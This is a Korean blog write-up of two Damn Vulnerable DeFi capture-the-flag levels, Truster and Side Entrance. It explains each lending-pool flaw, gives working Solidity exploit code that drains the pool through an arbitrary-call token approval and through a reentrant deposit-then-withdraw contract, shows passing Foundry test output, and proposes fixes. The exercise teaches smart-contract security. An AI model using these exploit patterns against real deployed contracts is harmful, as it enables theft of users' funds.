티스토리 뷰

Truster

문제

 

Truster

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. The pool holds 1 million DVT tokens. You have nothing. To pass this challenge, take all tokens out of the pool.

www.damnvulnerabledefi.xyz

취약점

 파라미터로 받은 target 주소로 data와 함께 call 함수를 호출합니다. 어떤 주소의 어떤 함수든 호출할 수 있으므로 함수 실행의 결과가 예측이 어렵습니다. 특히 caller가 컨트랙트가 되기 때문에 approve나 transfer 함수를 호출해 컨트랙트가 소유한 토큰의 사용을 허가하거나 토큰 자체를 전송하는 식의 공격이 가능합니다.

function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data) external nonReentrant {
    ...
    
    target.functionCall(data);

    ...
}

공격

 문제의 컨트랙트에서는 토큰의 잔액을 먼저 기록하고 call 함수를 호출하고 난 뒤에 토큰의 잔액이 이보다 적어졌는지 확인하므로 transfer를 바로 사용해서는 안됩니다. 우선은 approve로 토큰 사용을 허용한 뒤에 flashLoan 함수를 빠져나오면 transferFrom을 호출하여 토큰을 탈취하면 됩니다.

$ make Truster 
forge test --match-test testExploit --match-contract Truster
[⠑] Compiling...
[⠒] Compiling 1 files with 0.8.17
[⠑] Solc 0.8.17 finished in 1.92s
Compiler run successful with warnings:
...
Running 1 test for test/Levels/truster/Truster.t.sol:Truster
[PASS] testExploit() (gas: 69312)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.11ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)vm.startPrank(attacker);
trusterLenderPool.flashLoan(
    0,
    address(attacker),
    address(dvt),
    abi.encodeWithSignature("approve(address,uint256)", attacker, TOKENS_IN_POOL)
);
dvt.transferFrom(address(trusterLenderPool), address(attacker), TOKENS_IN_POOL);
vm.stopPrank();

개선안

1. 매개변수 target을 제어하는 방식

if (target == address(damnValuableToken)) revert("target cannot be token");
damnValuableToken.transfer(borrower, borrowAmount);

2. 인터페이스를 사용해 호출할 수 있는 함수를 제어하는 방식

interface IFlashLoanCallee {
    function flashloanCall(address sender, uint256 borrowAmount, bytes calldata data) external;
}

function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data) external nonReentrant {
    ...
    
    IFlashLoanCallee(target).flashloanCall(msg.sender, borrowAmount, data);

    ...
}

Side Entrance

문제

 

Side Entrance

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time. It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system. Starting with 1 ETH in balance, pass the ch

www.damnvulnerabledefi.xyz

취약점

 flashLoan 함수를 호출하면 IFlashLoanEtherReceiver 인터페이스를 구현한 msg.sender에게 amount 만큼의 이더를 보내주면서 execute 함수를 호출합니다. 문제는 msg.sender가 execute 함수에서 이 컨트랙트로 재진입을 할 수가 있다는 것입니다. 특히 deposit 함수를 호출해 빌린 자금을 그대로 컨트랙트에 넣어놓으면 flashLoan 함수가 종료되기 전에 잔액을 검사하는 부분에서도 문제가 되지 않고 함수가 종료되고 나면 withdraw 함수를 호출하여 자금을 탈취할 수도 있습니다.

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

contract SideEntranceLenderPool {
    using Address for address payable;

    mapping(address => uint256) private balances;

    error NotEnoughETHInPool();
    error FlashLoanHasNotBeenPaidBack();

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    ...

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;
        if (balanceBefore < amount) revert NotEnoughETHInPool();

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore) {
            revert FlashLoanHasNotBeenPaidBack();
        }
    }
}

공격

 msg.sender가 IFlashLoanEtherReceiver 인터페이스를 구현해야 하므로 다음과 같이 컨트랙트를 통해 flashLoan 함수를 호출해야 합니다. 

contract FakeReceiver {
    address public owner;
    SideEntranceLenderPool public pool;

    constructor(SideEntranceLenderPool _pool) {
        owner = msg.sender;
        pool = _pool;
    }

    function flashLoan(uint256 amount) external {
        pool.flashLoan(amount);
        pool.withdraw();
        (bool ok,) = payable(owner).call{value: address(this).balance}("");
        require(ok, "Withdraw failed");
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}
vm.startPrank(attacker);
FakeReceiver attackerContract = new FakeReceiver(sideEntranceLenderPool);
attackerContract.flashLoan(ETHER_IN_POOL);
vm.stopPrank();
$ make SideEntrance 
forge test --match-test testExploit --match-contract SideEntrance
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/04.side-entrance/SideEntrance.t.sol:SideEntrance
[PASS] testExploit() (gas: 277102)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09ms (135.20µs CPU time)

Ran 1 test suite in 6.11ms (1.09ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

1. msg.sender의 잔액을 확인

 이 방법은 일단 떠올라서 적긴 했는데 적절한 방법은 아닌 것 같습니다.

2. Reentrancy Guard 사용

abstract contract ReentrancyGuard {
    bool private _locked;

    modifier nonReentrant() {
        require(!_locked, "ReentrancyGuard: reentrant call");
        _locked = true;
        _;
        _locked = false;
    }
}

contract SideEntranceLenderPool is ReentrancyGuard {
    using Address for address payable;

    mapping(address => uint256) private balances;

    error NotEnoughETHInPool();
    error FlashLoanHasNotBeenPaidBack();

    function deposit() external payable nonReentrant {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        ...
    }

    function flashLoan(uint256 amount) external nonReentrant {
        ...
    }
}

'Solidity > Hacking' 카테고리의 다른 글

[Ethernaut] 26. DoubleEntryPoint  (1) 2024.02.24
[Ethernaut] 25. Motorbike  (0) 2024.02.23
[Damn Vulnerable DeFi] Unstoppable, Naive Receiver  (0) 2024.02.21
[Ethernaut] 18. MagicNumber  (0) 2024.02.15
[Ethernaut] 29. Switch  (0) 2024.02.07
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함